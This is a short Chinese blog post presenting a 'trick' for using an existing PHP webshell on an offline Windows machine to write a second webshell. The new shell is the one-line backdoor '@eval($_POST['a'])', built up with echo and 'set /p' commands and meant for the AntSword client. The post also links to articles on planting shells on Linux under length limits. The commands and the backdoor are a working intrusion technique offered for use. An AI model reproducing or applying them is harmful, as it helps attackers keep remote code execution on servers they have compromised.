这篇文章发表于 912 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

最近遇到了一个比较有意思的情况,想到了一个比较有意思的trick。

抽象一下,相当于这样的一种情况——你上传的PHP小马运行在Windows上。该机器不出网,且仅与你的机器处于同一内网。你不能够再次通过你自己的机器直接传文件(比如开启ftp服务或是http)。但是你嫌那个PHP小马不得劲,需要更加舒适的shell。你该怎么办?其中这是之前上传的PHP小马

这种情况我所能够想到的,就是利用这个木马写另一个木马了,这里就打算利用它写一个蚁剑能够连接的最简单的小马。

Windows有个echo命令,最简单的用法是——

1
echo 123>>1.php

但是你要写的是PHP文件,

1
echo <>>1.php

这样肯定是不对的,<会导致报错。可以加各种引号或是转义啥的试一试,还是不太行。最后看到了一个针对其他问题的回答,改了改,发现正好合适。

1
2
3
4
5
echo 123 >>123.php
echo|set /p="<?php" >>123.php #其实直接一句写完也行,但是一些其他情况就有必要分行
echo.>>123.php
echo @eval($_POST['a']); >>123.php
echo|set /p="?>" >>123.php #这句可有可无

很简单却很nice的一个trick!

当然在Linux环境下,写马的方法就比较简单,甚至还能够在长度受限的条件下完成。可参看大佬们的文章——

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

https://www.cnblogs.com/ECJTUACM-873284962/p/9452263.html